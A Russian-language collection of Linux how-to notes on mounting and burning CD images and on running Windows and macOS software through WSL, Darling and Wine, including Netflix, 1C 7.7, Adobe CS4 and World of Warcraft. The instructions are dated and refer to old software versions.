    Посмотреть созданный образ можно примонтировав его как loop раздел:
       mount cd_image.iso -r -t iso9660 -o loop /mnt/cdrom
    
    Копирование 1 в 1:
       dd if=/dev/scd0 of=cdimage.iso
       cdrecord -v dev=0,0,0 speed=2 -isosize cdimage.iso
    
    Значение "dev=" определяется запуском cdrecord -scanbus
    
    PS. Вместо "dd" более правильно делать (не читает лишний "хвост" пустых
    секторов и корректирует ошибки):
       readcd dev=0,0 f=cdimage.iso
    
     
    ----* Как примонтировать cdrom с русскими файлами   [комментарии]
     
    В Joliet файлы хранятся в unicode, соответственно codepage=unicode.
    Если файлы записаны в 866 кодировке нужно добавить ",codepage=866"
    mount -t iso9660 -o iocharset=koi8-r,ro,noexec,mode=0444  /dev/cdrom  /mnt/cdrom
    или  в /etc/fstab:
    /dev/cdrom /mnt/cdrom iso9660 noauto,user,ro,noexec,mode=0444,iocharset=koi8-r
    а затем:  mount /mnt/cdrom
    
     
    ----* Как в Solaris примонтировать локально .iso образ.   [комментарии]
     
      lofiadm -a cdrom.iso
      mount -F hsfs /dev/lofi/1 /mnt
      umount /mnt
      lofiadm -d /dev/lofi/1
    
     

       Wine

    ----* Включение bash и инструментария Ubuntu в Windows 10 (доп. ссылка 1)   [комментарии]
     
    В выпущенном вчера обновлении 14316 к 64-разрядному Windows 10 добавлена
    прослойка WSL, транслирующая системные вызовы Linux в системные вызовы Windows и
    позволяющая развернуть в основном окружении Windows полноценный
    инструментарий Ubuntu Linux без эмуляции и виртуализации.
    
    Для установки окружения Ubuntu в Windows 10 следует выполнить следующие шаги:
    
    В системе необходимо установить свежее обновление Insider Preview Build 14316,
    для чего следует принять участие в программе Windows Insider,
    зарегистрировавшись на сайте http://insider.windows.com
    
    Активируем доступную для участников Windows Insider функцию установки
    расширенных обновлений (System Settings --> Advanced Windows Update).
    
    
    
    Переводим систему на максимальный уровень оперативности доставки новых
    обновлений ("the fast ring"), переместив ползунок в крайне правое положение;
    
    
    
    Включаем режим разработчика (developer mode").
    
    
    
    Инициируем проверку наличия обновлений, устанавливаем все доступные обновления
    и перезагружаем систему.
    
    
    
    После перезагрузки включаем опцию "Windows Subsystem for Linux (Beta)", которая
    пока доступна только для 64-разрядных сборок Windows.
    
    
    
    Второй раз перезагружаем систему.
    
    В меню Stаrt набираем bash, выполняем "bash.exe", соглашаемся с правилами
    использования сервиса, ждём окончания загрузки компонентов Ubuntu  и получаем
    традиционное приглашение командной строки Ubuntu с большинством основных утилит.
    
    
    
    
    
    
    Для использования традиционного для Ubuntu шрифта в консоли, загружаем шрифт с
    сайта http://font.ubuntu.com, извлекаем из zip-архива UbuntuMono-R.ttf и
    устанавливаем его через двойной клик в проводнике. Далее меняем настройки в
    реестре, установив параметр
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont
     в значение "Ubuntu Mono". В настройках консоли выбираем шрифт Ubuntu.
    
    
    
     
    ----* Установка Darling для экспериментов с запуском приложений Mac OS X в Linux (доп. ссылка 1)   [комментарии]
     
    В прошлом году был представлен достаточно перспективный проект  Darling,
    нацеленный на предоставление возможности запуска в Linux приложений, собранных
    для OS X. По своей сути проект напоминает Wine, и по аналогии с тем, как Wine
    запускает написанные для Windows программы, Darling  позволяет установить и
    запустить программы, созданные для OS X и поставляемые в форме пакетов ".dmg" и ".pkg".
    
    На текущей стадии развития Darling представляет в основном экспериментальный
    интерес, так как позволяет запускать лишь некоторые консольные программы,
    собранные для OS X, такие как Midnight Commander, Bash, VIM и GCC.
    
    Для установки Darling пользователи Gentoo Linux могут воспользоваться готовым оверлеем.
    
    Для установки Darling  в Ubuntu Linux 13.04 можно использовать следующую инструкцию:
    
    Устанавливаем clang и сборочные зависимости:
    
       sudo apt-get install git cmake clang nasm g++ checkinstall
       sudo apt-get install libxml2-dev libgnutls-dev libicu-dev libcairo-dev \\
                         libjpeg-dev libpng-dev libtiff-dev libbsd-dev libudev-dev \\
                         liblcms-dev libkqueue-dev libssl-dev libbz2-dev uuid-dev \\
                         libncurses-dev libxrandr-dev
    
    Собираем утилиту GNUstep Make:
    
       git clone https://github.com/gnustep/gnustep-make.git
       cd gnustep-make
       CC=clang CXX=clang++ ./configure
       sudo make install
    
    Примечание: для более корректной установки программы в систему, здесь и далее
    вместо "sudo make install" следует использовать "sudo checkinstall", которая
    установит программу в форме пакета.
    
    
    Собираем GNUstep Libobjc2
    
       git clone https://github.com/gnustep/gnustep-libobjc2.git
       cd gnustep-libobjc2
       OBJCFLAGS=-fblocks CC=clang CXX=clang++ cmake .
       rm GNUmakefile
       make
       sudo make install
    
    
    Собираем GNUstep Base
    
       git clone https://github.com/gnustep/gnustep-base.git
       cd gnustep-base
       OBJCFLAGS=-fblocks CC=clang CXX=clang++ ./configure
       make
       sudo make install
    
    
    Собираем GNUstep GUI:
    
       git clone https://github.com/gnustep/gnustep-gui.git
       cd gnustep-gui
       OBJCFLAGS=-fblocks CC=clang CXX=clang++ ./configure
       make
       sudo make install
    
    Собираем GNUstep Opal:
    
       git clone https://github.com/gnustep/gnustep-opal.git
       cd gnustep-opal
       OBJCFLAGS=-fblocks CC=clang CXX=clang++ make
       sudo make install
    
    Собираем GNUstep CoreBase:
    
       git clone https://github.com/gnustep/gnustep-corebase.git
       cd gnustep-corebase
       OBJCFLAGS=-fblocks CC=clang CXX=clang++ ./configure
       make
       sudo make install
    
    Собираем Darling:
    
       git clone -r https://github.com/LubosD/darling.git
       cd darling
       CC=clang CXX=clang++ cmake .
       make
    
    Запускаем приложение OS X
    
      ./dyld osx-программа аргументы
    
     
    ----* Предотвращение запуска Wine любым пользователем   Автор: Artem S. Tashkinov  [комментарии]
     
    Данная заметка не является способом запрещения запуска Windows-приложений
    из-под Wine, она служит лишь целью предотвращения запуска Wine любым
    пользователем, который не желает случайно это сделать.
    
    Простейший пример, связанный с безопасностью: известно, что крайне нежелательно
    запускать Windows приложения из-под  пользователя root, ибо Wine в этом случае
    имеет доступ ко всем ресурсам компьютера. Учитывая так же, что
    Windows-приложения в Wine могут выполнять любые команды Unix, то можно
    представить масштаб возможных проблем при запуске вредоносного ПО.
    
    Решение крайне простое. В домашней директории пользователя достаточно создать
    пустой файл ".wine" (без кавычек). В этом случае запуск Wine приведёт к ошибке:
    
       # wine stduviewer.exe
    
       wine: /root/.wine is not a directory
    
    Никакие другие действия выполнять больше не нужно.
    
     
    ----* Использование сервиса Netflix в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Метод использования в Linux сервиса потокового видеовещания Netflix сводится к
    использованию специально модифицированной версии Wine в сочетании с запуском
    Windows-сборки Firefox с официальным плагином Silverlight. Moonlight невозможно
    использовать из-за наличия DRM-механизмов защиты контента в Netflix. По этой же
    причине требуется пересобрать Wine с 5 патчами, реализующими дополнительные
    механизмы проверки безопасности.
    
    Устанавливаем зависимости, необходимые для переборки Wine:
    
       sudo apt-get build-dep wine 
    
    Загружаем свежий срез репозитрия Wine:
    
       sudo apt-get install git
       git clone git://source.winehq.org/git/wine.git ~/wine-git
       cd ~/wine-git
    
    Накладываем патчи:
    
       wget -O part1.patch http://source.winehq.org/patches/data/91645 && patch -p1 < part1.patch
       wget -O part2.patch http://source.winehq.org/patches/data/91646 && patch -p1 < part2.patch
       wget -O part3.patch http://source.winehq.org/patches/data/91647 && patch -p1 < part3.patch
       wget -O part4.patch http://source.winehq.org/patches/data/91648 && patch -p1 < part4.patch
       wget -O part5.patch http://source.winehq.org/patches/data/91649 && patch -p1 < part5.patch
    
    Компилируем Wine:
    
       ./configure && make
    
    При ошибке "configure: error: FreeType development files not found. Fonts will
    not be built" доустанавливаем
    
       sudo apt-get install libfreetype6-dev
    
    Устанавливаем  Firefox и Silverlight 4 (Silverlight 5 пока не работает в Wine):
    
       wget -O Firefox-14.0.1.exe http://download.mozilla.org/?product=firefox-14.0.1-funnelcake13&os=win&lang=en-US; wine Firefox-14.0.1.exe /S
    
       wget -O Silverlight-4.exe http://silverlight.dlservice.microsoft.com/download/6/A/1/6A13C54D-3F35-4082-977A-27F30ECE0F34/10329.00/runtime/Silverlight.exe; wine Silverlight-4.exe /q
    
    Запускаем Firefox и открываем в нём сайт Netflix:
    
       ./wine "C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe" http://netflix.com/
    
    <p>Дополнение: Создан готовый PPA-репозиторий с модифицированной версией Wine.
    Для установки следует выполнить:
    
       sudo apt-add-repository ppa:ehoover/compholio
       sudo apt-get update
       sudo apt-get install netflix-desktop
    
    После чего в dash можно найти и запустить приложение Netflix
    
     
    ----* Работа с игровым сервисом OnLive в Ubuntu Linux 11.04 при помощи Wine (доп. ссылка 1)   [комментарии]
     
    Устанавливаем Wine и инструменты для пересборки Wine:
    
       sudo add-apt-repository ppa:ubuntu-wine/ppa 
       sudo apt-get update
       sudo apt-get install wine1.3
       sudo apt-get install git autoconf checkinstall
       sudo apt-get build-dep wine1.3
    
    Загружаем самую свежую версию Wine (работа проверена с Wine 1.3.27) из Git-репозитория проекта:
    
       git clone git://source.winehq.org/git/wine.git ~/wine-git
    
    Переходим в директорию с кодом и загружаем патч с правками для запуска OnLive:
    
        cd ~/wine-git
        wget http://bugs.winehq.org/attachment.cgi?id=35873 -O wine_rawinput_8_8_2011.patch
    
    Накладываем патч:
    
        patch -p1 < wine_rawinput_8_8_2011.patch
    
    Собираем Wine:
    
        autoreconf
        ./configure
        make depend
        make
    
    Подготовим пакет для собранной версии без его установки (пока не будем заменять
    штатную версию Wine и поэкспериментируем с запатченной версией отдельно):
    
        checkinstall -D --install=no
    
    Загружаем установочный файл для OnLive:
    
        wget http://www.onlive.com/d/windows -O OnLive_Setup.exe
    
    Запускаем его 
    
        ./wine OnLive_Setup.exe
    
    После завершения установки запускаем итоговый OnLive.exe:
    
       ./wine ~/.wine/drive_c/Program\ Files/OnLive/OnLive.exe
    
     
    ----* Основы работы с Wine для начинающих   Автор: Владимир  [комментарии]
     
    Введение
    
    Статья посвящена Wine и всем аспектам его использования. В сети находится очень
    много информации, есть различные руководства по настройке и многое другое. Я
    постараюсь объединить все для того чтобы любой человек смог достичь
    максимального успеха, в пределах своих способностей и конечно возможности
    программы.  Итак - начнем.
    
    Wine - это отдельная реализация Windows API, а не эмулятор, как большинство
    думают. Не единожды повторялось, но и здесь будет уместно. Это и делает проект
    уникальным и интересным для пользователей различных систем, открывает различные
    пути для реализации своих идей. Уникальность заключается в том, что с помощью
    этой программы можно запускать Windows приложения в Ubuntu и других
    Linux-системах, а также во FreeBSD и в Mac OS X. Правда и тут есть свои
    "подводные камни". Некоторые думают то что будет легко перейти с одной системы
    на другую, в данном случае мы рассматриваем Windows и Linux.
    
    Заблуждение заключается в том что люди думают что у них получиться запустить из
    под Wine различный софт, к которому они привыкли и им удобно в нем работать.
    Как не крути просто так ничего не бывает. Чтобы заработал наш любимый софт под
    Wine нужно попотеть, перечитать кучу руководств и взвесить этот объём
    информация. Проект Wine развивается очень быстро, но до стабильной работы ему
    очень далеко. Но думаю что в скором будущем весь основной софт, а также игры
    будут работать на нем стабильно.
    
    Установка Wine
    
    Первый вопрос человека который только что перешёл на Linux (в нашем случае
    Ubuntu): "Как я буду запускать программы из Windows?". Он начинает поиск на эту
    тему и естественно натыкается на Wine.
    Второй вопрос: "Как его поставить?". Есть два способа:  Поставить из
    официальный репозиториев или скомпилировать самому из исходников. Мы рассмотрим
    оба варианта.
    
    Вариант 1: Установка из репозитория.
    
    Тут все очень просто. Идем в Приложения // Стандартные // Терминал:
    
       sudo add-apt-repository ppa:ubuntu-wine/ppa
       sudo apt-get update
       sudo apt-get install wine1.3.
    
    Ждем завершения установки....
    Всё! Wine установлен и можно пробовать устанавливать игры и программы.
    
    
    Вариант 2: Компилирование из исходников.
    
    1.Скачиваем исходники с официального сайта, там они присутствуют. В моё случае
    это Wine 1.3.11 (http://sourceforge.net/projects/wine/files/Source/wine-1.3.11.tar.bz2/download).
    
    2. Распаковываем исходники.
    Дальше вводим в терминале следующие команды:
    
    переходим в директорию, в которую был распакован архив с исходными текстами:
    
       cd wine-1.3.11/ 
    
    Перед компиляцией надо включить поддержку OpenGL. Если мы этого не сделаем
    приложения которым нужен OpenGL работать не будут. В терминале:
    
       gedit tools/wineinstall
    
    Находим строку, начинающуюся с CONFARGS=, и после вписываем в нее нужные
    параметры сборки. В нашем случае строка будет выглядеть так:
    
       CONFARGS="--enable-opengl --disable-debug --disable-trace"
    
    Получаем зависимости:
    
       sudo apt-get install auto-apt checkinstall
       sudo auto-apt -y run ./configure 
    
    Собираем:
    
       make
    
    Устанавливаем через создание пакета, вместо make install
    
      sudo checkinstall
    
    Всё. Ждем окончания установки.
    
    
    Рассмотрим плюсы и минусы каждого из вариантов.
    
    Вариант 1.
    Плюсы:
    1. За нас уже все собрано и пыжиться не надо, все уже готово к употреблению.
    
    Минусы:
    1. Мы не сможем применить патч, например для улучшения работы какой нибудь игрушки.
    2. Нестабильная работа на некоторых видеокартах.
    
    Вариант 2.
    Плюсы:
    1. Возможность применить патчи для улучшения работы
    2. Стабильная работа с нестабильными драйверами видеокарт.
    
    Минусы:
    1. Нет меню в Приложениях, что неудобно. Приходиться все делать из консоли,
    выходить в настройки Wine например.
    2. Процесс установки слишком долгий, зависит от мощности вашего компьютера.
    
    Я отдаю предпочтение второму вариант. Wine установленный таким образом работает
    лучше, чем установленный из репозиториев. Но это лишь мое маленькое ИМХО.
    
    
    Установка программ и игр
    
    Сперва мы идем на http://appdb.winehq.org/ Сверху, в поисковике вбиваем
    название игры или программы и смотрим что там написано. Обычно там описаны
    тесты на различных системах, рекомендации для стабильной работы и многое другое.
    
    Если программа работает без проблем, значит с чистой душой её устанавливаем
    простым кликом. Если это какая нибудь серьёзная игра или программа и без
    шаманства с бубном не обойтись - значит надо создавать отдельный префикс для
    наших танцев.
    Идем в наш домашний каталог и создаем новую директорию. Например .wine2.
    Дальше идем в терминал и вводим:
    
    
       WINEPREFIX="/home/username/.wine2/" winecfg
    
    Всё. Отдельный префикс создан. Там хранятся различные конфигурации реестра и сами программы.
    Установку программы также производим через консоль.
    
       WINEPREFIX="/home/username/.wine2/" wine /media/DVD/setup.exe
    
    Идет процесс установки и самое главное в отдельный префикс.
    Потом мы запускаем уже установленную программу, также из консоли и смотрим вывод.
    
    В выводе могут быть ошибки, о том что нет нужных компонентов и библиотек. В
    установке недостающих компонентов нам поможет winetricks (см. ниже)
    
    Что это дает? Это дает стабильную работу приложений в своем префиксе, если
    масса программ будет работать в одной префиксе, он рано или поздно засориться
    что приведет к сбою других программ. Поэтому нужно использовать отдельные
    префиксы, если не хотите все настраивать по много раз.
    
    
    Winetricks
    
    В правильной настройке префикса нам поможет winetricks.
    Winetricks - это скрипт, который устанавливает различные компоненты, которые
    требуются для работы приложения, например DirectX, Vcredist и многое другое.
    Как это скрипт работает? Он скачивает библиотеки и компоненты с
    Microsoft-овских ресурсов. Именно так, и никак по другому. Зачем этот скрипт
    нужен? Это очень упрощает работу с Wine-ом. Без скрипта мы бы сами лазили и
    искали нужные компоненты, а тут уже все сделано, надо только поставить галочку
    и нажать "Установить" Также этот скрипт помогает редактировать реестр,
    вписывать туда различные ключи. И помимо этого в winetricks есть много настроек
    и функций.
    
    Для ознакомления с ним просто введите в терминале winetricks
    
    
    Редактирование реестра
    
    В терминале вводим:
    
       regedit
    
    Мы в реестре. Редактировать нам ничего не надо, мы будет только добавлять.
    
    Идем в HKEY_CURRENT_USER/Software/Wine/Direct3D.
    
    Если каталога Direct3D нет, то не отчаиваемся. Я это пишу чтобы читатель понял
    где-то надо редактировать или добавлять.
    
    В терминале:
    
       winetricks ddr=opengl orm=fbo glsl=disabled videomemorysize=1024 
       (1024 меняете на свое)
    
    Все эти параметры появиться в реестре. Это можно посмотреть в папке указанной выше.
    
    Что это дает? Это улучшает производительность в играх, скорость и вообще игры
    работают от этого лучше, но это только для игр.
    
    
    PlayOnLinux
    
    Также существует PlayOnLinux. Это отдельная программа, которая использует Wine,
    но там более все автоматизированно и настроено. Программа сама скачает нужный
    Wine, установит компоненты и создаст отдельный префикс. Но это не значит что
    все будет идеально работать. Может вообще не работать. Так что я отдаю свое
    предпочтение обычному Wine, ручной настройке и работе собственного мозга, а не
    автоматизированной программе.
    
    Плюсы:
    Все автоматизированно и нам по сути делать ничего не надо.
    Можно держать несколько версий Wine и применять их для различных префиксов.
    Программа сама создает префиксы.
    
    Минусы:
    Все что делает программа, устанавливает и скачивает предугадать невозможно.
    Все что делает программа можно сделать самому, ручками, это + к знаниям человека.
    Программа "Робот" никогда не сравниться с человеческим мозгом.
    
    
    Монтирование образов CD/DVD-дисков
    
    В Windows есть для этого утилита под названием Daemon-Tools. Это очень удобная
    и не заменимая утилита. У человека возникает вопрос: Есть ли аналог этой
    чудо-утилиты? Ответ: Есть и намного лучше Windows утилиты. Называется она
    Cdemu. Для её установки нам требуется ввести всего лишь три команды:
    
     
       sudo add-apt-repository ppa:cdemu/ppa
       sudo apt-get update
       sudo apt-get install cdemu-daemon cdemu-client gcdemu
    
    Добавляем аплет на панель, указываем путь к образу и радуемся жизни. Не каких
    проблем не будет и Wine будет отлично определять образ.
    
    
    Запуск игр в отдельном Х-сервере
    
    Этому можно посветить целую книгу, но я остановился на одном способе, которым всегда пользуюсь:
    
    Переходим в виртуальный терминал:
       Ctrl + Alt + F1
       login: ******
       password: ******
    
    Запускаем вручную новую копию X-сервера:
    
       xinit -- :2
       wine путь/папке/c/игрой/game.exe
    
    Прирост от этого небольшой, но лично мне этого хватает. Ещё раз повторю:
    способов запуска в отдельном х-сервере много и каждый человек волен сам выбирать.
    
    Чтобы выйти нажимаем Ctrl + Alt + F1
    Ctrl + C
    Ctrl + Alt + F7 или F8 (у меня F8)
    Чтобы переключаться между системой и х-сервером
    Ctrl + Alt + F7 или F8 (переход к нашей системе или в х-сервер)
    
    
    
    Заключение
    Все эти советы, азы, которые должен знать каждый человек который хочет
    использовать Wine для достижения своих целей. Все остальное в ваших руках. Если
    вы хотите достичь цели не смотря не на что, а надежда уже уходит, не
    отчаивайтесь никогда, ибо решение может находиться у вас "перед носом". Усидеть
    на двух стульях возможно, но для этого нужно желание и стальные нервы. Желание
    - тысяча возможностей, не желание - тысяча причин.
    
    Данный материал написан для "Первого конкурса русскоязычных статей для ОС
    Ubuntu" (konkurs.ubuntu.ru)
    
     
    ----* Полная установка 1С 7.7 под управлением Wine в Ubuntu 10.04 (доп. ссылка 1)   Автор: acsbaks  [комментарии]
     
    Начинаем с добавления PPA-репозитория для установки свежего Wine: 
    
       sudo add-apt-repository ppa:ubuntu-wine/ppa
    
    Или через GUI: Система - Администрирование - Источники Приложений.
    Вкладка - Другое По. Добавляем - ppa:ubuntu-wine/ppa
    
    Устанавливаем свежий Wine:
    
       sudo aptitude update
       sudo aptitude install wine1.3 winetricks
    
    Устанавливаем библиотеку DCOM:
    
       winetricks dcom98 
    
    Копируем из Windows библиотеку MSVCRT40.DLL в директорию /home/usr/.wine/drive_c/windows/system/
    
    Устанавливаем MFC42.DLL
    
       winetricks MFC42.DLL
    
    Устанавливаем шрифты:
    
       winetricks corefonts
       winetricks tahoma
       winetricks lucida
    
    Если каких-то шрифтов не будет хватать - их можно взять из установленной где-нибудь Windows.
    
    Устанавливаем 1С 7.7, все должно пройти гладко.
    
    Запускаем в 1С конфигуратор баз и убираем галочку из меню "Окна - Панель Окон -
    Показать". Это нужно сделать раз для каждой базы и для каждого вида запуска -
    будь то конфигуратор, предприятие и т.п.
    
    Чтобы не было проблем с кодировкой - либо заходим в БД, меню "администрирование
    - кодовая страница таблиц ИБ" и меняем на "Текущая системная установка" и ждем.....
    
    Иногда это не совсем удобно, если БД используют машины с Windows, тогда создаем
    либо в директории с базой, либо в каталоге BIN 1C пустой файл OrdNoChk.prm
    
    Локальная версия должна заработать. Но это нам не интересно, нужно в базу заходить по сети.
    
    Качаем etercifts c сайта Etersoft (http://wiki.etersoft.ru/etercifs), он
    свободный и не требует оплаты. Устанавливаем (инструкции по нему - на
    етерсофте). После его установки потребуется перезагрузка.
    
    Открываем fstab и добавляем строки для монтирования нужных сетевых ресурсов
    
       //server1c/BaseBuh /home/usr/BaseBuh cifs 
          rw,user,username=WORKGROUP\имяпользователя,password=пароль,iocharset=utf8,noperm,forcemand,direct 0 0
    
    Монтируем:
    
       sudo mount /home/usr/BaseBuh
    
    Теперь каталог с базой у нас смонтирован, и мы можем добавить базу.
    
    Это же вновь не то, что хотелось, ведь база у нас на SQL-сервере.
    
       winetricks mdac25
       winetricks mdac28
       winecfg: sqlsrv32.dll - сторонняя.
    
    возможно мдак25 и не надо было сначала устанавливать, но так я делал.
    
    Проверяем:
    
       wine regedit
    
    "HKLM\Software\ODBC\ODBCINST.INI" - Должна быть папка с названием "SQL Server",
    если нет - копируем из Windows и проверяем путь: строковый параметр - Driver.
    
    Вуаля, заработала связка 1С+SQL.
    
    Но могут быть проблемы с нахождением сервера, в этом случае заходим в
    конфигуратор - "Администирование" - Параметры базы данных SQL и адрес сервера
    меняем с имени на его IP-адрес.
    
    1С мы запустили но мне, как разработчику плохо живется без OpenConf.
    Качаем последний OpenConf (http://openconf.1cpp.ru/).
    
    Перед установкой OpenConf, нужно поставить MS Visual Basic 6 runtime (нужен для
    регистрации c:/Program Files/1Cv77/BIN/config/system/svcsvc.dll)
    
       winetricks vb6run
    
    Поставить IE, нужен для регистрации wsc компонентов:
    
       winetricks ie6
    
    Зарегистрировать все WSC компоненты из каталога c:/Program Files/1Cv77/BIN/config/system
    
       wine regsvr32 /i:CommonServices.wsc C:/windows/system32/scrobj.dll 
       ... и т.д. для всех файлов
    
    Компонент OpenConf.RegistryIniFile.wsc надо регистрировать в последнюю очередь!
    
    Заметка про OpenConf была чуть модифицирована, ориганал.
    
    Осталась одна проблема с мертвым Enter-ом. В журнале документов либо в форме
    списка справочников он не работает!
    
    Предлагаю воспользоваться FormEx.dll (последняя версия  есть на
    http://www.dorex.ru/?download или можно найти на форуме
    http://1clinux.org/formex_t.zip )
    
    Далее извлекаем файл "FormEx.dll", складываем в каталог C:\Program files\BIN\
    
    Заходим в конфигуратор и:
    
    1. в процедуру "ПриНачалеРаботыСистемы()" добавляем:
    
       "
          Если ЗагрузитьВнешнююКомпоненту("FormEx.dll")=0 Тогда
                Предупреждение("Не удается загрузить внешнюю компоненту 1C++!",10);            
          КонецЕсли;      
       "
    
    2. создаём в глобальном модуле новую процедуру:
    
       "
       Процедура ПриНажатииКнопкиКлавиатуры(Конт, КодКл, Алт, Шифт, Контрл, Символ, ФСО)
          //Сообщить (КодКл);
          Если КодКл=13 Тогда
                Service = СоздатьОбъект("Сервис");
                Service.SendKeys("{TAB}");
           //КодКл=9;
          КонецЕсли;
       КонецПроцедуры
       "
    
    Заметка про FormEx основана на http://1clinux.org/index.php?topic=188.0
    
    Вот в принципе и все :) имеем полностью рабочую 1С, запущенную в свободном Wine.
    
    PS. Когда пытался запустить игрушки баловался с winetricks (d3dx9, directx9 и
    т.д.). И после этого панель окон стала нормально отображаться. 1С перестала
    вызывать ошибку и нормально работает (либо это связано с обновлением wine,
    которое было произведено незадолго до этого). В настройках Wine для 1С убрана
    лишь галочка - "разрешить менеджеру окон декорировать окна".
    
     
    ----* Вывод аудио с Linux/Unix PC на Windows PC   Автор: Artem Tashkinov  [комментарии]
     
    Иногда может возникнуть потребность вывести звук с Linux/FreeBSD/Unix
    компьютера на Windows компьютер. Сделать это безболезненно можно с помощью
    Pulse Audio.
    
    Как это осуществить:
    
    1. Скачайте Windows версию pulseaudio (http://www.cendio.com/pulseaudio/),
    pulseaudio-0.9.6-1.win32.zip (911 KiB).
    
    2. Распакуйте этот архив и создайте в папке с pulseaudio файл default.pa со следующим содержимым:
    
       load-module module-native-protocol-tcp listen=0.0.0.0 auth-anonymous=1
       load-module module-waveout
    
    3. Запустите файл pulseaudio.exe
    
    4. Добавьте pulseaudio.exe в список исключений брэндмауэра Windows или
    разрешите входящие соединения на порт 4713.
    
    5. На вашем Linux компьютере в файле /etc/pulse/client.conf добавьте следующую строку:
    
       default-server = 192.168.0.10
    
    заменив 192.168.0.10 на IP адрес Windows компьютера.
    
    Если у вас правильно настроен PulseAudio в Linux, то всё должно сразу заработать.
    
     
    ----* Установка Adobe Сreative Suite 4 в Wine (доп. ссылка 1)   [комментарии]
     
    Инструкция по установке Adobe CS 4 под управлением Wine 1.1.26 в Ubuntu 9.04
    
    Устанавливаем инструменты для сборки:
    
       sudo aptitude install build-essential checkinstall
    
    Создаем резервную копию конфигурации wine:
    
       mv ~/.wine ~/.wineBACKUP
    
    Удаляем ранее установленную старую версию wine:
    
       sudo aptitude remove wine
    
    Добавляем Launchpad PPA репозиторий с новейшими версиями Wine:
    
       sudo sh -c "echo 'deb http://ppa.launchpad.net/ubuntu-wine/ppa/ubuntu jaunty main' >> /etc/apt/sources.list"
       sudo sh -c "echo 'deb-src http://ppa.launchpad.net/ubuntu-wine/ppa/ubuntu jaunty main' >> /etc/apt/sources.list"
    
    Добавляем ключи, которыми подписаны пакеты:
    
       sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys F9CB8DB0
    
    Обновляем информацию о содержимом репозиториев:
    
       sudo apt-get update
    
    Устанавливаем зависимости, необходимые для пересборки пакета с Wine:
    
       sudo apt-get build-dep wine
    
    Создаем директорию для сборки и переходим в нее:
    
       mkdir ~/source/
       cd ~/source/
    
    Загружаем исходные тексты wine и переходим в рабочую директорию:
    
       apt-get source wine
       cd wine*
    
    Загружаем и применяем дополнительные патчи, необходимые для установки Adobe CS4:
    
       wget http://bugs2.winehq.org/attachment.cgi?id=22139 -O pseudo_start_msi_MTA_thread.diff
       patch -p1 < pseudo_start_msi_MTA_thread.diff
    
    Собираем Wine из исходных текстов:
    
       ./configure
       make -j3 depend && make -j3
    
    Формируем пакет для Ubuntu:
    
       sudo checkinstall
    
    Загружаем winetricks и инициируем загрузку дополнительных модулей, необходимых
    для установки и работы Adobe CS4:
    
       wget http://www.kegel.com/wine/winetricks
       chmod a+x winetricks
       sudo mv winetricks /usr/local/bin/
       winetricks msxml6 gdiplus gecko vcrun2005 ie6 corefonts fontsmooth-rgb
    
    Загружаем из сети недостающую библиотеку atmlib.dll (находим от куда качать через поиск в Google):
    
       mv atmlib.dll ~/.wine/drive_c/windows/system32/
    
    Запускаем конфигуратор Wine и переходим в секцию накопителей (вкладка Drives),
    удаляем диск Z:, который указывает на корень ФС.
    Затем добавляем диск, указывающий на источник установки, например на корень
    инсталляционного CD/DVD/
    
    Переходим в каталог с установочным образом Adobe CS4 и запускаем процесс установки:
    
       cd /media/cdrom0/Adobe\ CS4/
       wine Setup.exe
    
    Следуем инструкциям на экране, выбрав параметры установки по умолчанию. Если
    кнопка "Next" не нажимается
    мышью, на нее следует переместить фокус через нажатие клавиши Tab и нажать Enter.
    В момент установки Illustrator может произойти крах, но после нажатия "Ok" установка продолжится.
    
     
    ----* Особенности запуска игры World of Warcraft в Ubuntu Linux (доп. ссылка 1)   Автор: vanoc  [комментарии]
     
    Первое, что необходимо сделать, это включить проприетарный видеодрайвер.
    Заходим в "Драйверы устройств", устанавливаем и перезагружаемся.
    
    Теперь проверка
    
       $ glxinfo | grep direct
       direct rendering: Yes
    
    Если получилось, то читаем дальше.
    
    Если wine не установлен - устанавливаем.
    
       sudo aptitude install wine
    
    Далее редактируем файл WoW/WTF/Config.wtf
    
    Добавляем строки:
    
       SET gxApi "opengl"
       SET ffxDeath "0"
       SET ffxGlow "0"
       SET M2UseShaders "0"
       SET Sound_SoundOutputSystem "1"
       SET Sound_SoundBufferSize "150"
       SET gxWindow "1"
    
    Теперь игра должна идти нормально, но есть ошибка с текстурами в помещениях. 
    Для исправления подредактируем wine реестр
    
       wine regedit
    
    Заходим в HKEY_CURRENT_USER\Software\Wine\ и создаем ключ Opengl
    В него добавляем строковое значение DisabledExtensions и вписываем GL_ARB_vertex_buffer_object
    
    Запускаем WoW командой
    
       wine WoW/wow.exe -opengl
    
    Ошибка с текстурами исчезла, правда миникарта в помещениях отображается белым.
    
     
    ----* Настройка сглаживания шрифтов в новых версиях Wine (доп. ссылка 1)   [комментарии]
     
    В версии Wine 1.1.12 добавлена поддержка субпиксельного рендеринга шрифтов. По
    умолчанию шрифты не сглаживаются, чтобы исправить ситуацию необходимо поменять
    несколько параметров.
    
    
    Сохраняем в файл test.txt:
    
       REGEDIT4
    
       HKEY_CURRENT_USER\Control Panel\Desktop]
       "FontSmoothing"="2"
       "FontSmoothingType"=dword:00000002
       "FontSmoothingGamma"=dword:00000578
       "FontSmoothingOrientation"=dword:00000001
    
    Меняем настройки:
    
       wine regedit test.txt
    
    где, "FontSmoothing"="2" - непосредственное включение сглаживания.
    
    FontSmoothingType"=dword:00000002 - режим сглаживания: 
       00000001 - Сглаживание градациями серого (старый метод)
       00000002 - Субпиксельное сглаживание (при сглаживании учитываются цвета)
    
    "FontSmoothingOrientation"=dword:00000001 - метод ориентации пикселов при
    сглаживании: 0 = BGR, 1 = RGB.
    
    
    
    
    
    Готовый скрипт для выполнения этой операции: http://files.polosatus.ru/winefontssmoothing.sh
    
    Непосредственно установку Windows шрифтов можно выполнить через winetricks:
    
       wget http://www.kegel.com/wine/winetricks
       sh ./winetricks allfonts
    
     
    ----* Установка Microsoft Office 2007 и IE7 в Ubuntu Linux 8.10 (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Устанавливаем экспериментальную версию Wine 1.1.x:
    
    
       wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -
       sudo wget http://wine.budgetdedicated.com/apt/sources.list.d/intrepid.list -O /etc/apt/sources.list.d/winehq.list
       sudo apt-get update
       sudo apt-get install wine cabextract
    
    
